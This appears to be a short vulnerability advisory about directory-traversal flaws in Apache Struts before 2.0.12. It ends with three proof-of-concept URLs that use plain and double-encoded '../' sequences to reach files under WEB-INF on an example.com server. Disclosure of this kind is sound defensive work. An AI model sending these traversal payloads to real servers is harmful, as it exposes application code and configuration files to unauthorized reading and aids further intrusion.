source: https://www.securityfocus.com/bid/32104/info

Struts is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the webserver process. Information obtained may aid in further attacks.

Versions prior to Struts 2.0.12 are vulnerable. 

http://www.example.com:8080/struts2-blank-2.0.11.1/struts..
http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f
http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Log\in.class/